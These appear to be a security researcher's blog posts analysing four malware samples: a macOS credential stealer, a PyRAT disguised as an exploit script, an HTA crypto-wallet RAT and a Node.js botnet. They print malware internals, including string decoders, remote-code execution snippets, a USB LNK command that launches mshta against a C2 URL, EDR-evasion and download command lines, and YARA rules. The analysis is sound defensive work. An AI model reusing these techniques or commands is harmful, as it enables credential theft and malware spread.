August van sickle August van sickle

DriverFixer0428 macOS Credential Stealer

Executive Summary

This report documents the comprehensive static and dynamic analysis of a macOS credential stealer identified as DriverFixer0428, attributed with high confidence to North Korea's Contagious Interview campaign. The malware masquerades as a legitimate system utility and harvests user credentials through sophisticated social engineering dialogs that impersonate macOS system prompts and Google Chrome permission requests. Stolen credentials are exfiltrated to attacker-controlled infrastructure via Dropbox's cloud storage API.

Dynamic analysis using LLDB debugger revealed multi-layer sandbox evasion capabilities, including VM detection through runtime API checks (sysctlbyname, IOKit, NSScreen) that prevented payload execution in virtualized analysis environments. The malware demonstrates operational security consistent with nation-state threat actors, utilizing legitimate cloud services for command-and-control to evade network-based detection.

Sample Naming Rationale

The sample name "DriverFixer0428" is derived from internal identifiers embedded in the compiled binary by the malware developers. These artifacts were extracted during static analysis:

$ strings DriverFixer | grep -i driverfixer

DriverFixer0428

_TtC15DriverFixer042814ViewController

_TtC15DriverFixer042811AppDelegate

DriverFixer0428.OverlayWindowController

DriverFixer0428/ViewController.swift

The "0428" suffix likely indicates either a build date (April 28th) or an internal version/variant number used by the threat actors to track different builds within their development pipeline.

Sample Identification

SHA-256

9aef4651925a752f580b7be005d91bfb1f9f5dd806c99e10b17aa2e06bf4f7b5

File Type

Mach-O universal binary (x86_64 + ARM64)

Language

Swift / AppKit

Size

234,752 bytes (235 KB)

Bundle ID

chrome.DriverFixer0428

Source Path

DriverFixer0428/ViewController.swift

Attribution Analysis

Assessment

Campaign: Contagious Interview (DPRK/North Korea)

Confidence: Medium-High

Related Families: FlexibleFerret, FrostyFerret, ChromeUpdate, CameraAccess

Attribution Basis

Attribution is based on TTP correlation with publicly documented DPRK campaigns. The specific sample hash was not found in public threat intelligence repositories, suggesting this may be a previously unreported variant.

Network Infrastructure Match

The sample's network indicators exactly match those documented by SentinelOne in their FlexibleFerret analysis (February 2025):

# From SentinelOne FlexibleFerret Report:

21  3.__TEXT.__cstring  ascii  https://api.ipify.org

39  3.__TEXT.__cstring  ascii  https://api.dropboxapi.com/oauth2/token

45  3.__TEXT.__cstring  ascii  https://content.dropboxapi.com/2/files/upload

 

# From DriverFixer0428 (This Sample):

0x100007370: "https://api.ipify.org"

0x100007460: "https://api.dropboxapi.com/oauth2/token"

0x100007580: "https://content.dropboxapi.com/2/files/upload"

Evidence Summary


 

Public Threat Intelligence References

SentinelOne: "macOS FlexibleFerret | Further Variants of DPRK Malware Family Unearthed" (February 2025)

Jamf: "FlexibleFerret: macOS Malware Deploys in Fake Job Scams" (November 2025)

NVISO: "Contagious Interview Actors Now Utilize JSON Storage Services" (November 2025)

Sample Identification

SHA-256

9aef4651925a752f580b7be005d91bfb1f9f5dd806c99e10b17aa2e06bf4f7b5

File Type

Mach-O universal binary (x86_64 + ARM64)

Language

Swift / AppKit

Size

234,752 bytes (235 KB)

Bundle ID

chrome.DriverFixer0428

Source Path

DriverFixer0428/ViewController.swift

 Technical Analysis

Malware Capabilities

1. Credential Harvesting via Social Engineering

The malware displays convincing fake dialogs designed to trick users into entering their macOS system password. Memory analysis via LLDB extracted the following social engineering strings:

(lldb) x/50s 0x100007680

0x100007680: "Installer wants to make changes."

0x1000076b0: "Enter your password to allow this."

0x1000076e0: "\"Google Chrome\" wants to access your camera"

0x100007710: "After granting Chrome access, websites can ask

             to use your camera."

0x1000075f0: "Incorrect password. Please re-enter your password."

0x100007630: "Please enter your password. The password field

The malware uses an OverlayWindowController class to create fullscreen overlay windows, preventing users from interacting with other applications until they provide credentials.

2. Network C2 Infrastructure

Memory analysis revealed the complete network infrastructure used for reconnaissance and exfiltration:

(lldb) memory find -s "ipify" 0x100000000 0x100010000

data found at location: 0x10000737c

0x10000737c: 69 70 69 66 79 2e 6f 72 67  ipify.org

 

(lldb) memory find -s "dropbox" 0x100000000 0x100010000

data found at location: 0x10000746c

0x10000746c: 64 72 6f 70 62 6f 78 61 70 69  dropboxapi.com/oauth2/token

 

(lldb) x/30s 0x100007500

0x100007520: "New access token: "

0x100007540: "Error refreshing access token: "

0x100007580: "https://content.dropboxapi.com/2/files/upload"

0x1000075b0: "application/octet-stream"

3. Dropbox Upload Function (Disassembly)

LLDB disassembly of symbol269 revealed the Dropbox API upload implementation, showing construction of HTTP headers and OAuth tokens:

(lldb) dis -s 0x100004374 -c 40

DriverFixer`___lldb_unnamed_symbol269:

  0x1000044ac: add x8, x8, #0x580  ; "https://content.dropboxapi.com/2/files/upload"

  0x100004520: mov w0, #0x4f50     ; 'PO' (POST)

  0x100004524: movk w0, #0x5453, lsl #16  ; 'ST'

  0x100004530: bl Foundation.URLRequest.httpMethod.setter

  0x100004534: mov x8, #0x6542     ; 'Be' (Bearer)

  0x100004538: movk x8, #0x7261, lsl #16  ; 'ar'

  0x10000453c: movk x8, #0x7265, lsl #32  ; 'er'

  0x100004560: mov x2, #0x7541     ; 'Au' (Authorization)

  0x100004564: movk x2, #0x6874, lsl #16  ; 'th'

  0x100004588: bl Foundation.URLRequest.setValue(forHTTPHeaderField:)







 

Dynamic Analysis: VM Detection Mechanism

LLDB debugging sessions confirmed the malware employs runtime API checks for VM detection rather than static string comparisons. This sophisticated evasion technique queries system APIs during execution to identify virtualized environments.

sysctlbyname API Calls

Breakpoints on sysctlbyname captured the following system queries during malware initialization:

(lldb) br set -n "sysctlbyname"

(lldb) run

Process stopped at breakpoint - sysctlbyname

 

(lldb) x/s $x0

0x19be880d7: "kern.osvariant_status"

(lldb) c

(lldb) x/s $x0

0x1980b3847: "kern.osproductversion"

(lldb) c

(lldb) x/s $x0

0x19828a730: "kern.secure_kernel"

IOKit Registry Queries

IORegistryEntryCreateCFProperty breakpoints revealed hardware property queries used for environment fingerprinting:

(lldb) br set -n "IORegistryEntryCreateCFProperty"

(lldb) c

Process stopped at breakpoint - IORegistryEntryCreateCFProperty

 

(lldb) po $x1

product-id

(lldb) c

(lldb) po $x1

housing-color

(lldb) c

(lldb) po $x1

IORegistryEntryPropertyKeys

NSScreen Detection Vector

Binary analysis confirmed NSScreen API usage for display-based VM detection:

$ strings DriverFixer | grep -i screen

applicationDidChangeScreenParameters:

mainScreen

 

$ nm DriverFixer | grep -i screen

                 U _OBJC_CLASS_$_NSScreen

On Apple Silicon VMs, NSScreen returns identifying information such as "Apple Virtual" display names and VirtualMac2,1 model identifiers that the malware uses to detect analysis environments.

Silent Failure Behavior

When VM detection succeeds, the malware enters an idle event loop without executing its payload. The process remains alive but dormant:

(lldb) process interrupt

(lldb) bt

* thread #1, queue = 'com.apple.main-thread'

  frame #0: libsystem_kernel.dylib`mach_msg2_trap + 8

  frame #4: CoreFoundation`__CFRunLoopServiceMachPort + 160

  frame #5: CoreFoundation`__CFRunLoopRun + 1208

  frame #12: AppKit`-[NSApplication run] + 480

  frame #13: AppKit`NSApplicationMain + 880

  frame #14: DriverFixer`___lldb_unnamed_symbol295 + 36








 

Sandbox Evasion Summary

Environment

Behavior

Detection Mechanism

Triage Sandbox

Score 4/10 (benign)

Silent evasion - no malicious activity

Apple VM (ARM64)

Idle event loop

sysctlbyname, IOKit, NSScreen APIs

Rosetta (x86_64)

SIGILL crash

Anti-emulation trap instructions

Env Tampering

SIGTRAP crash

Environment variable validation

 

Binary Structure

LLDB symbol analysis identified 153 functions within the malware. Key symbols include:

(lldb) image lookup -r -n ".*" DriverFixer

153 matches found in DriverFixer:

  0x100002ca4: ___lldb_unnamed_symbol229 (1456 bytes) - OAuth token refresh

  0x100004374: ___lldb_unnamed_symbol269 (1428 bytes) - Dropbox upload

  0x100004bf0: ___lldb_unnamed_symbol295 - Entry point (NSApplicationMain)

 

(lldb) x/50s 0x100007760

0x100007760: "DriverFixer0428.OverlayWindowController"

0x100007810: "_TtC15DriverFixer042811AppDelegate"

0x1000077a0: "DriverFixer0428/ViewController.swift"








 

Indicators of Compromise (IOCs)

File Indicators

Type

Value

SHA-256

9aef4651925a752f580b7be005d91bfb1f9f5dd806c99e10b17aa2e06bf4f7b5

Bundle ID

chrome.DriverFixer0428

 

Network Indicators

Purpose

URL / Domain

IP Recon

https://api.ipify.org

OAuth Token

https://api.dropboxapi.com/oauth2/token

Exfiltration

https://content.dropboxapi.com/2/files/upload

 

Memory Forensics (LLDB Extraction)

Address

String Evidence

0x100007680

Installer wants to make changes.

0x1000076e0

"Google Chrome" wants to access your camera

0x100007370

https://api.ipify.org

0x100007460

https://api.dropboxapi.com/oauth2/token

0x100007760

DriverFixer0428.OverlayWindowController

 








 

MITRE ATT&CK Mapping

Tactic

Technique

Description

Credential Access

T1056.002 GUI Input Capture

Fake dialog captures credentials

Defense Evasion

T1497.001 System Checks

VM detection via sysctlbyname, IOKit

Defense Evasion

T1036.005 Masquerading

Impersonates macOS/Chrome dialogs

Discovery

T1016 System Network Config

Public IP via ipify.org

Exfiltration

T1567.002 Exfil to Cloud

Dropbox API exfiltration

 

Detection

YARA Rule

rule MacOS_Infostealer_DriverFixer0428 {

    meta:

        description = "DPRK DriverFixer credential stealer"

        author = "Threat Intelligence Team"

        threat_actor = "DPRK/Contagious Interview"

    strings:

        $class1 = "DriverFixer0428" ascii

        $class2 = "OverlayWindowController" ascii

        $net1 = "api.dropboxapi.com" ascii

        $net2 = "content.dropboxapi.com" ascii

        $net3 = "api.ipify.org" ascii

        $se1 = "Installer wants to make changes" ascii

        $se2 = "wants to access your camera" ascii

    condition:

        (uint32(0) == 0xfeedface or uint32(0) == 0xfeedfacf or

         uint32(0) == 0xcafebabe) and

        (any of ($class*)) and (2 of ($net*)) and (any of ($se*))}

Conclusion

DriverFixer0428 represents a sophisticated macOS credential stealer attributed to North Korea's Contagious Interview campaign. LLDB dynamic analysis confirmed the malware employs multi-layer sandbox evasion through runtime API checks including sysctlbyname, IOKit registry queries, and NSScreen display detection.

The stark discrepancy between static analysis indicators (clearly malicious code) and dynamic sandbox scores (4/10 "likely benign") underscores why automated sandbox verdicts alone are insufficient for this threat actor's tooling. The malware's silent failure mode - remaining alive but dormant when detecting analysis environments - represents production-grade operational security consistent with nation-state capabilities.

Read More
August van sickle August van sickle

PyRat, but disguised as a Fake React2Shell.py

It all begins with an idea.

I have more of a blog coming but I did find two examples of PyRAT this weekend. One was masquerading as an OSINT tool, with only error messages and no OSINT functionality, hiding its real purpose as a RAT and loading an HTA in memory to drop more malicious binaires.

The second one I looked at is within a script that I origally thought was a react2shell python exploit but is more of a scanner, although it lacks the ability to actually scan. I actually have a video showing that even if it fails on an errror (like in my demo) or if you execute the help menu “python3 react2shell.py —help”, it still executes mshta and reaches out for the HTA Dropper.

Here are some of the code segments that return error messages, which helps the disguise distract the user while the mshta process executes in the background:

And heres another:

At the top of the code, you can see why the RAT executes with or without successful execution of the script, whether its an error or just executing the help menu, which is pretty typical of testers to do before they add all of the operators for the script execution:

So to break this down, this code block below creates the function to execute the HTTP GET Request, which naturally executes mshta.exe to execute the GET, mshta.exe doesn’t have to be defined, it’s just the LOLBIN that executes it by default:

And there is a main() function after all of the scanning functions are defined, but not until line 432:

The execution happens long before this.

The execution starts right after the function for the GET request is defined:

So once again, this is the functionality of the GET request, the beginning of the Malware chain, it loads a HTA Dropper that then drops an implant or implants and likely the Rhadamanthys Stealer,as has been observed before.

To summarize, here are the conditions where the GET Request, essentially the malware part of this script executes, some of these options could cause additional attack chains:

The function is called immediately when Python parses the file, which happens: 

- When you run python react2shell.py (before main() ever runs) 

- When you run python react2shell.py --help

- When you “import react2shell” from another script 

- Even if you just try to syntax-check it with some tools 

And here is the Execution Order:

1. Python loads file 

2. Parses imports (lines 3-13) 

3. Defines _initialize_runtime_environment (lines 15-23) 

4. EXECUTES _initialize_runtime_environment() (line 24) = BACKDOOR FIRES 

5. Continues parsing rest of file... 

6. Eventually reaches main() if run directly 

References:

https://www.morphisec.com/blog/pystorerat-a-new-ai-driven-supply-chain-malware-campaign-targeting-it-osint-professionals/

https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys

Read More
August van sickle August van sickle

Announcing “UpdateHub RAT”

It all begins with an idea.

1. Executive Summary

This report documents the analysis of a sophisticated HTML Application (HTA) malware sample designed for cryptocurrency wallet theft and corporate network reconnaissance. The malware employs advanced obfuscation techniques, establishes persistence via Windows Task Scheduler, and communicates with command-and-control (C2) infrastructure using custom-encrypted HTTP traffic.

Key Findings:

  • Primary targets: Ledger, Trezor, Atomic, Exodus, Guarda, KeepKey, and BitBox02 cryptocurrency wallets

  • Extensive Active Directory reconnaissance capabilities indicate corporate environment targeting

  • USB spreading functionality via malicious LNK file replacement

  • CrowdStrike Falcon detection with execution method modification

  • C2 dependency: malware requires live C2 server to execute (anti-analysis)

2. Sample Information

Summary of Sample Information

3. Obfuscation Analysis

The malware employs two XOR-based string decoders to hide operational strings from static analysis.

3.1 Primary Decoder (_dgaily)

Decodes the HTA application configuration used to hide the execution window:

Algorithm: XOR with rolling key (index * 137 + 140) & 0xFF

Output: <HTA:APPLICATION BORDER=’none’ SHOWINTASKBAR=’no’ SYSMENU=’no’ WINDOWSTATE=’minimized’>

3.2 Secondary Decoder (_dd7j5a)

Decodes all 271 operational strings including COM objects, WMI queries, file paths, and C2 endpoints.

Algorithm: XOR with rolling key (index * 107 + 218) & 0xFF

4. Command & Control Infrastructure

4.1 C2 Domain Pattern

The malware iterates through 11 C2 domain variants with failover capability:

https://s{i}-updatehub.cc where {i} = 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, (empty)

4.3 Communication Encryption

  • Request body encrypted with 6-digit random XOR key prepended to payload

  • Custom Base64 encoding with UTF-16LE conversion

  • Response uses same XOR + Base64 scheme

  • JWT token-based authentication (Authorization: Bearer {jwt})

This RAT won’t continue full execution without reaching and then authenticating with the C2 Server

Authentication Required for Contnued Execution

Without Network Authentication with the C2, the furtherst the execution gets is mshta.exe executing the hta and enumeration of the system, but none of the post intial execution beyond that occurs. I tried setting up a fake C2 that could catch the request from the RAT but I can’t or didnt want to spend the time trying to set up the authentication parameters, and since I have the code, the code review provides all I need.

5. Cryptocurrency Wallet Targeting

The malware specifically checks for the presence of popular cryptocurrency wallet applications:

Detection results are transmitted to C2 via ledger=true/false and wallets=true/false parameters in the registration beacon.

6. Persistence Mechanism

The malware establishes persistence via Windows Task Scheduler, masquerading as a legitimate Google Update task.

6.1 Scheduled Task Configuration

6.2 Task Settings

  • StartWhenAvailable: true

  • DisallowStartIfOnBatteries: false

  • StopIfGoingOnBatteries: falWakeToRun: true

  • RunLevel: 1 (Highest) if admin privileges detected

7. Payload Delivery Methods

The malware employs seven different download methods with automatic fallback to ensure payload delivery success:

8. C2 Task Types

The malware supports the following task types received from the C2 server:

9. Anti-Analysis Techniques

9.1 C2 Dependency (Primary Blocker)

The malware requires a live C2 server to execute any malicious functionality. It iterates through all 11 C2 domain variants and exits silently if none respond with ‘success’. This effectively prevents dynamic analysis in isolated environments.

9.2 Self-Deletion

The zonexi() function deletes the HTA file immediately upon execution using Scripting.FileSystemObject.DeleteFile().

Before execution:

.hta file present before execution “a7ef…”

After Executing UpdateHub RAT:

.hta file is removed, self deletion

9.3 Security Product Detection

When CrowdStrike Falcon is detected, the malware modifies its execution method to use a cmd.exe wrapper: cmd.exe /c start “” /b mshta.exe {url}

9.4 Additional Techniques

  • Window Hiding: HTA configured with hidden window, plus window.resizeTo(0,0) and window.moveTo(-10000,-10000)

  • Silent Failures: All code wrapped in try/catch blocks to swallow errors

  • Admin Detection: Checks HKLM\SECURITY access via StdRegProv.GetSecurityDescriptor

  • Auto-Close: window.close() called at end of execution

10. USB Spreading Mechanism

Task Type 9 implements USB spreading functionality that targets removable drives.

10.1 Target File Types

.exe, .docx, .pdf, .doc

10.2 Infection Process

  1. Enumerate removable drives (USB, external) via WMI Win32_DiskDrive

  2. Scan for target file types (depth limited to 2 directories)

  3. Hide original files by setting hidden attribute

  4. Create .lnk shortcuts with same base name

  5. Shortcut executes: cmd.exe /c start “” “.\{original}” & start “” mshta “{C2_URL}”

11. Active Directory Reconnaissance

Task Type 5 triggers comprehensive AD reconnaissance, indicating corporate environment targeting:

11.1 Information Collected

11.2 Enumeration Methods

  • WMI: Win32_ComputerSystem, Win32_NTDomain, Win32_Group, Win32_GroupUser

  • ADSI: AdsNameSpaces COM object with WinNT:// provider

  • Environment: LOGONSERVER variable for DC identification

12. Indicators of Compromise (IOCs)

12.1 Network Indicators

  • https://s[1-10]-updatehub.cc (C2 domains)

  • https://s-updatehub.cc (C2 domain, no number)

  • HTTP POST requests with 6-digit prefix + Base64 encoded body

12.2 File System Indicators

  • %userprofile%\*.exe (downloaded payloads)

  • %TEMP%\{random9}.txt (command output)

  • .lnk files replacing documents on USB drives

12.3 Scheduled Tasks

  • GoogleTaskSystem136.0.7023.12{GUID}

  • GoogleUpdaterTaskSystem136.1.7023.12{GUID}

12.4 Process Artifacts

  • mshta.exe spawning cmd.exe, powershell.exe

  • powershell.exe -ep Bypass -nop

  • bitsadmin.exe /transfer

  • certutil.exe -urlcache

  • rundll32.exe for DLL execution

13. MITRE ATT&CK Mapping

14. Detection Recommendations

14.1 Network Detection

  1. Block/monitor DNS queries and HTTP traffic to *-updatehub.cc domains

  2. Alert on HTTP POST requests with 6-digit numeric prefix in body

  3. Monitor for mshta.exe making external HTTP connections

14.2 Endpoint Detection

  • Monitor mshta.exe spawning cmd.exe, powershell.exe, or network-related processes

  • Alert on scheduled task creation with “Google” in name but non-Google executable paths

  • Detect WMI queries to SecurityCenter2 from scripting hosts

  • Monitor certutil.exe and bitsadmin.exe used for file downloads

  • Alert on mass file attribute changes on removable drives

  • Monitor for LNK file creation alongside hidden files on USB drives

14.3 YARA Detection Strings

$hta1 = “HTA:APPLICATION” ascii $sched1 = “Schedule.Service” ascii $sched2 = “GoogleTaskSystem136” ascii $crypto1 = “Ledger Live” ascii $crypto2 = “@trezor” ascii $wmi1 = “SecurityCenter2” ascii $wmi2 = “Win32_NTDomain” ascii $adsi1 = “WinNT://” ascii

15. Attribution

I used Claude to help verify that I could not find an existing matching Malware Family. Critique and Discussion are appreciated! I dont want to falsely believe I’ve found something new and I try to be very data-driven, reach out if you disagree.

UpdateHub HTA RAT — Malware Family Comparison Analysis

Executive Summary

Based on extensive research, the UpdateHub HTA RAT appears to be a previously unreported or newly emerged malware family. While it shares TTPs with several known threats, it has unique characteristics that distinguish it from existing documented campaigns.

Similar Malware Families Identified

1. Aggah Campaign / Gorgon Group (HIGHEST SIMILARITY)

Similarity Score: 75%

Assessment: The infection chain is very similar to Aggah, but UpdateHub uses custom C2 infrastructure instead of legitimate services and has USB worm capabilities not seen in Aggah.

2. Spora / Gamarue / RETADUP (USB WORM COMPONENT)

Similarity Score: 60%

Assessment: The USB worm technique is nearly identical to Spora/Gamarue’s LNK spreading method, suggesting the author copied this proven technique.

3. KimJongRAT / BabyShark (KOREAN APT)

Similarity Score: 55%

Assessment: Similar focus on crypto wallets and HTA infection chain, but KimJongRAT is attributed to North Korean actors with different infrastructure patterns.

4. StilachiRAT (Microsoft-documented)

Similarity Score: 50%

Assessment: Similar crypto-stealing objectives but completely different codebase and delivery mechanism.

5. Nova Stealer / Odyssey Stealer (macOS Focus)

Similarity Score: 40%

Assessment: Different platform but similar targeting of hardware wallet users.

Unique Characteristics of UpdateHub RAT

These features distinguish UpdateHub from known families:

1. C2 Domain Failover Pattern

s10-updatehub.cc → s9-updatehub.cc → … → s-updatehub.cc

This numbered failover pattern is not commonly seen in documented malware.

2. Fake Google Update Task Names

GoogleTaskSystem136.0.7023.12{GUID}
GoogleUpdaterTaskSystem136.1.7023.12{GUID}

The specific version numbers (136.0.7023.12) appear unique to this family.

3. XOR Encoding with Multiplier

var tetorY = v31af8 * 107 + 218 & 255;
coreve769 += String.fromCharCode(testackS[v31af8] ^ tetorY);

This specific XOR pattern with position-based key generation is distinctive.

4. Combined Capabilities

No other documented family combines ALL of:

  • HTA-based delivery

  • USB LNK worm spreading

  • Crypto wallet detection (hardware wallets)

  • Extensive AD reconnaissance

  • CrowdStrike Falcon evasion

  • Custom XOR-encrypted C2 protocol

5. JWT-Based Authentication

The use of JWT tokens for C2 session authentication is relatively sophisticated for HTA-based malware.

Attribution Assessment

Possible Origins:

  1. Cybercriminal Operation (Most Likely)

  • Financially motivated (crypto wallet focus)

  • Uses commodity techniques (copied USB worm code)

  • Brazilian C2 infrastructure hint (meusitehostgator.com.br in first sample)

  • No nation-state indicators

  1. Evolution of Aggah/Gorgon Tools

  • Similar infection chain

  • Could be same actors with new infrastructure

  • Different final payload suggests possible code sharing

  1. Commercial Malware-as-a-Service

  • Version numbering suggests ongoing development (v3.3)

  • Multiple download fallbacks suggest testing

  • Task-based modular design

YARA Rule Matching Results

Rules vs Known Families:

The generic rule would also match Aggah and KimJongRAT samples. The detailed rule is specific to UpdateHub and should not false-positive on other families.

Recommendations for Hunting

Search Terms for Existing Intel:

  1. VirusTotal Intelligence:
    content:”updatehub” OR content:”GoogleTaskSystem136" OR
    content:”PT30M” AND content:”P3650D” AND content:”Schedule.Service”

  2. MalwareBazaar:

  • Tag: hta, crypto-stealer, usb-worm

  • Signature: Scheduled task with “Google” impersonation

  1. MISP/OpenCTI:

  • Search for C2: *-updatehub.cc

  • Search for similar HWID patterns

  1. Passive DNS:

  • Query: s?-updatehub.cc (where ? = 0–10)

  • Historical resolution data may reveal infrastructure

Conclusion

UpdateHub RAT appears to be a newly documented threat that combines techniques from multiple known malware families:

  • Infection chain resembles Aggah campaign

  • USB worm copied from Spora/Gamarue techniques

  • Crypto targeting similar to modern stealers like KimJongRAT

  • Custom C2 protocol with JWT authentication is unique

The malware should be tracked as a distinct family pending discovery of direct code overlaps with known campaigns. The YARA rules provided should help identify related samples in threat intelligence platforms.

References

  1. Unit42 — Aggah Campaign Analysis

  2. G DATA — Spora Ransomware Worm Analysis

  3. Unit42 — KimJongRAT Stealer Variant

  4. Microsoft — StilachiRAT Analysis

  5. Moonlock — Anti-Ledger Malware Campaign

  6. HP Wolf Security — Aggah Campaign Cryptocurrency Stealer

16. Conclusion

This HTA malware represents a professionally developed multi-stage loader and infostealer with the following characteristics:

  • Strong Evasion: Multiple download methods, hidden execution, security product detection, C2 dependency

  • Corporate Targeting: Extensive AD reconnaissance suggests enterprise environment focus

  • Cryptocurrency Focus: Specific wallet detection for theft operations

  • Self-Propagation: USB spreading via LNK replacement technique

  • Modular Design: Task-based C2 allows flexible payload deployment

The sophistication level and feature set suggest this is likely part of a commercial malware kit or organized threat actor operation targeting both financial (cryptocurrency) and corporate assets. The C2 dependency serves as both an anti-analysis mechanism and a kill switch, preventing execution in isolated analysis environments.

Read More
August van sickle August van sickle

Tsundere Botnet — Node.js Binary

It all begins with an idea.

The Tsundere botnet, identified by Kaspersky Global Research and Analysis Team (GReAT) in July 2025, represents a sophisticated evolution in cross-platform malware campaigns orchestrated by a Russian-speaking threat actor known as “koneko.” Initially surfacing through a 2024 npm supply-chain attack involving 287 typosquatted Node.js packages, Tsundere has matured into an actively expanding botnet primarily targeting Windows systems. Leveraging blockchain technology for command-and-control (C2) resilience, it enables dynamic execution of arbitrary JavaScript payloads, posing risks of data exfiltration, cryptocurrency theft, and further compromise.

Note: I analyzed this sample on my own, after my analysis I identified the malware as being Tsundre Botnet, based on the activity Kaspersky reported on here: The Tsundere botnet uses the Ethereum blockchain to infect its targets | Securelist. I will be reviewing IOC’s and if the ones I observed are still consistent with what was previously reported.

SHA256: 16e0dbcc6670e7722f68620b6f305e2c4433ed6f7b25174a75480ed5c4b4fe42



This hash was initially reported yesterday, December 3, 2025, and there was no real indicators that this was malicious. Comments also reflected one person believing that this was a benign binary based on analysis from an automated sandbox.

Press enter or click to view image in full size

Sample.js

This JavaScript (JS) code is pretty heavily obfuscated. The obfuscation combines string encryption, control flow flattening, identifier mangling, and runtime decryption, making it challenging to analyze without deobfuscation tools or manual unpacking.

String Obfuscation via Custom Base64 + RC4 Decryption:

Nearly all strings (e.g., URLs, function names, console messages) are stored in encrypted arrays and decrypted at runtime using a hybrid Base64 decoder followed by an RC4 (ARC4) stream cipher. This prevents static string-based signatures (e.g., YARA rules) from triggering.

Implementation Details:

  • The core decoder is defined in the _0x2905 function (lines ~1–50). It initializes an RC4 key schedule using a user-provided key (_0x3495d6).

  • Step 1: Base64-like decoding. A mangled Base64 alphabet (‘abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=’) decodes input into a URI-encoded string (e.g., %XX format), then decodeURIComponent expands it.

  • Step 2: RC4 decryption. The decoded string is fed into an RC4 keystream generator

// Simplified pseudocode from _0x2905['SbIfNX']
for (let i = 0; i < 256; i++) sbox[i] = i;  // Initialize S-box
j = 0;
for (let i = 0; i < 256; i++) {
  j = (j + sbox[i] + key.charCodeAt(i % key.length)) % 256;
  swap sbox[i] and sbox[j];
}
// Keystream XOR with plaintext
for (let i = 0; i < plaintext.length; i++) {
  i_idx = (i + 1) % 256;
  j = (j + sbox[i_idx]) % 256;
  swap sbox[i_idx] and sbox[j];
  k = sbox[(sbox[i_idx] + sbox[j]) % 256];
  output += String.fromCharCode(plaintext.charCodeAt(i) ^ k);
}

Identifier Mangling with Hexadecimal Names

All variables, functions, and properties use randomized hexadecimal prefixes (e.g., _0x2905, _0x381842, _0x4f8a99). This is generated by tools like javascript-obfuscator, renaming ~90% of identifiers to meaningless shorts.

Implementation Details:

  • Functions like _0x4f8a() return the string array.

  • Nested helpers (e.g., _0x56f881(_0x575caf — -0xf5, _0x3c7903) ) compute indices via arithmetic offsets (e.g., arg — 0x17b).

  • Multiple layers: Outer _0x2905, inner _0x232dae, _0x5cb090, each with its own array and offset math.

Control Flow Flattening with While-Try-Catch Loops

Linear code is “flattened” into opaque predicates — while loops that shift/rotate an array until a computed checksum matches a magic value. This disrupts disassemblers and adds anti-debugging (e.g., infinite loops if tampered).

while(!![]){  // Infinite loop
  try {
    const _0x1b1805 = parseInt(_0x56f881(0x238, ...)) / 1 + ...;  // Compute sum of obfuscated ints
    if (_0x1b1805 === _0xad14cc) break;  // Magic: 0x704f6 (~458086)
    else _0x596a8d['push'](_0x596a8d['shift']());  // Rotate array
  } catch { _0x596a8d['push'](_0x596a8d['shift']()); }
}

Multi-Layered Obfuscation and Runtime Code Execution

Obfuscation is nested (e.g., _0x2905 calls _0x232dae, which calls _0x5cb090). Dynamic new Function() executes decrypted payloads, enabling further evasion.

Implementation Details:

  • Layers: 4+ decoders (_0x2905, _0x232dae, _0x5cb090, _0x31de0e). Each has its own array (e.g., _0x41cd62 with 70+ hex keys).

  • Runtime Eval: In onMessage (lines ~600+), decrypts incoming WebSocket data, then

const _0x33324b = new Function('require', 'global', ..., decrypted_code);
_0x33324b(require, global, ...);  // Executes arbitrary JS
  • Payloads include overrides like global.serverSend for C2 callbacks.

  • AES Encryption: Outbound/inbound messages use AES-256-CBC (crypto module) with runtime keys/IVs (16-byte IV check).

Anti-Analysis and Evasion Techniques

  • Dynamic Imports: require(‘ws’), require(‘crypto’), require(‘os’), require(‘ethers’) — delays footprint.

  • Error Handling: Broad try-catch swallows exceptions, logging minimally

  • Timing/Polling: Ping-pong over WebSocket (30s interval), reconnects on failure (15s timeout).

  • Platform-Specific: Windows-focused (e.g., wmic queries for UUID, GPU via PowerShell). Collects sysinfo (MAC, BIOS, volume serial) hashed into UUID.

System Fingerprinting

The malware collects victim data:

  • Username (os.userInfo())

  • Hostname (os.hostname())

  • Platform/Architecture

  • CPU information

  • GPU information (WMI: Win32_VideoController)

  • MAC Address (first non-internal interface)

  • Total Memory

  • Node.js Version

  • Windows Edition (WMI: Win32_OperatingSystem)

  • Volume Serial Number (vol command)

  • BIOS Information (WMI: SystemBIOS)

  • System UUID (Registry: MachineGuid)

All data is hashed (SHA256) to create a unique userId in UUID format.

Press enter or click to view image in full size

Connections and Host Enumeration

CIS Country Kill Switch (Ukraine being an exception)

  • hy (Armenian)

  • hy-AM (Armenian — Armenia)

  • az (Azerbaijani)

  • be (Belarusian)

  • be-BY (Belarusian — Belarus)

  • kk (Kazakh)

  • ky (Kyrgyz)

  • ky-KG (Kyrgyz — Kyrgyzstan)

  • ru (Russian)

  • ru-RU (Russian — Russia)

  • ru-BY (Russian — Belarus)

  • ru-KG (Russian — Kyrgyzstan)

  • ru-MD (Russian — Moldova)

  • ru-UA (Russian — Ukraine)

  • tg (Tajik)

  • uk (Ukrainian)

  • uk-UA (Ukrainian — Ukraine)

  • uz (Uzbek)

Remote Code Exection (RCE)

When receiving a message with id=1, the malware:

1. Creates a new Function() with the received code

2. Provides access to: require, global, console

3. Executes the code in a try-catch wrapper

4. Sends results back via serverSend() callback

This allows the C2 server to push arbitrary Node.js code for execution.

Registry Queries:

  • HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid (System UUID)

  • HKLM\SYSTEM\CurrentControlSet\Control\SystemInformation\SystemBIOSVersion

When I execute the JS binary in cmd.exe:

Press enter or click to view image in full size

We see it making connections to RPC at multiple different Ethereum Wallet Endpoints. It also gathers host enumeration details as defined earlier in the code review.

The Process Tree:

Press enter or click to view image in full size

Process Tree Breakdown

node.exe (8072)
├── “C:\Program Files\nodejs\node.exe” …16e0dbcc6670e7722f68620b6f305e2c4433ed6f7b25174a75480ed5c4b4fe42.js

├── cmd.exe (3812) → powershell.exe “[System.Globalization.CultureInfo]::InstalledUICulture.Name”
│ └── [CIS LOCALE CHECK — Kill Switch]

├── cmd.exe (7164) → powershell.exe “Get-WmiObject Win32_VideoController | Select-Object -ExpandProperty Name”
│ └── [GPU FINGERPRINTING]

├── cmd.exe (7252) → reg query “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion” /v ProductName
│ └── [WINDOWS EDITION]

├── reg.exe (4356) → reg query “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion” /v ProductName
│ └── [WINDOWS EDITION — direct call]

